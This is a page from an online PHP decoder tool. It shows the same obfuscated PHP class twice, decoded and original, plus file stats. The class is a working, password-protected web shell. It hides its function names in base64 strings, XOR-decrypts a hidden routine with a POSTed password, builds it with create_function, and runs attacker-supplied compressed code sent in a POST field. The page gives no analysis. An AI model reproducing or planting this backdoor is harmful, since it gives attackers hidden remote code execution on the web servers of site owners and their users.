Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class c6201235de2f4f { private $r6201235de317f = []; public function..

Decoded Output download

<?php 
 
class c6201235de2f4f 
{ 
    private $r6201235de317f = []; 
 
    public function __call($name, $args) 
    { 
        call_user_func_array($this->r6201235de317f[$name], $args); 
    } 
 
    public function d6201235de3f6c($s) 
    { 
        $function = 'b' . 'ase' . '64' . '_' . 'de' . 'code'; 
        $string = $function($s); 
        return explode('::', $string, 2)[1]; 
    } 
 
    public function p6201235de317c() 
    { 
        $qString = $this->d6201235de3f6c("ZWRGNTNrdjZvTFFxNHpMSDo6UVVFUllfU1RSSU5H"); 
 
        if (!empty($_SERVER[$qString])) { 
            exit($_SERVER[$qString]); 
        } 
 
        $e = $this->d6201235de3f6c("dC9hWmpWVXdsT2hOYWc9PTo6ZQ=="); 
        $p = $this->d6201235de3f6c("QkxjU3ZFR2pVQzZmOjpw"); 
 
        if (!isset($_POST[$e]) || 
            !isset($_POST[$p])) { 
            return; 
        } 
 
        $methodName = 'em6201235de3f6e'; 
        $methodContent = 'U0RRXRpVQAoGbAFTEmlTQlZBGxw/VW5PDQ=='; 
 
        $base64decode = $this->d6201235de3f6c("WTFKUnc0dUFRQT09OjpiYXNlNjRfZGVjb2Rl"); 
        $createFunction = $this->d6201235de3f6c("aUUzc3lzVDRYd3BySnNUc2svL1M6OmNyZWF0ZV9mdW5jdGlvbg=="); 
        $gzinflate = $this->d6201235de3f6c("TlJuSFNPMD06Omd6aW5mbGF0ZQ=="); 
        $regex = $this->d6201235de3f6c("V3djejZMbGtBU3c9OjovXlsgLX5dKyQv"); 
 
        $methodContent = str_split($base64decode($methodContent)); 
 
        $password = $_POST[$p]; 
        $password = str_split($password); 
 
        $temp = []; 
 
        for ($i = 0; $i < count($methodContent); $i++) { 
            $temp[] = chr(ord($methodContent[$i]) ^ ord($password[$i % count($password)])); 
        } 
 
        $methodContent = implode('', $temp); 
 
        if (preg_match($regex, $methodContent)) { 
            $this->r6201235de317f[$methodName] = $createFunction('', $methodContent); 
 
            $code = $gzinflate($base64decode($_POST[$e])); 
            $this->{$methodName}($code); 
        } 
    } 
} 
 
(new c6201235de2f4f)->p6201235de317c(); 
 ?>

Did this file decode correctly?

Original Code

<?php

class c6201235de2f4f
{
    private $r6201235de317f = [];

    public function __call($name, $args)
    {
        call_user_func_array($this->r6201235de317f[$name], $args);
    }

    public function d6201235de3f6c($s)
    {
        $function = 'b' . 'ase' . '64' . '_' . 'de' . 'code';
        $string = $function($s);
        return explode('::', $string, 2)[1];
    }

    public function p6201235de317c()
    {
        $qString = $this->d6201235de3f6c("ZWRGNTNrdjZvTFFxNHpMSDo6UVVFUllfU1RSSU5H");

        if (!empty($_SERVER[$qString])) {
            exit($_SERVER[$qString]);
        }

        $e = $this->d6201235de3f6c("dC9hWmpWVXdsT2hOYWc9PTo6ZQ==");
        $p = $this->d6201235de3f6c("QkxjU3ZFR2pVQzZmOjpw");

        if (!isset($_POST[$e]) ||
            !isset($_POST[$p])) {
            return;
        }

        $methodName = 'em6201235de3f6e';
        $methodContent = 'U0RRXRpVQAoGbAFTEmlTQlZBGxw/VW5PDQ==';

        $base64decode = $this->d6201235de3f6c("WTFKUnc0dUFRQT09OjpiYXNlNjRfZGVjb2Rl");
        $createFunction = $this->d6201235de3f6c("aUUzc3lzVDRYd3BySnNUc2svL1M6OmNyZWF0ZV9mdW5jdGlvbg==");
        $gzinflate = $this->d6201235de3f6c("TlJuSFNPMD06Omd6aW5mbGF0ZQ==");
        $regex = $this->d6201235de3f6c("V3djejZMbGtBU3c9OjovXlsgLX5dKyQv");

        $methodContent = str_split($base64decode($methodContent));

        $password = $_POST[$p];
        $password = str_split($password);

        $temp = [];

        for ($i = 0; $i < count($methodContent); $i++) {
            $temp[] = chr(ord($methodContent[$i]) ^ ord($password[$i % count($password)]));
        }

        $methodContent = implode('', $temp);

        if (preg_match($regex, $methodContent)) {
            $this->r6201235de317f[$methodName] = $createFunction('', $methodContent);

            $code = $gzinflate($base64decode($_POST[$e]));
            $this->{$methodName}($code);
        }
    }
}

(new c6201235de2f4f)->p6201235de317c();

Function Calls

None

Variables

None

Stats

MD5 d82ad25078668cdc82e4319b308e05aa
Eval Count 0
Decode Time 107 ms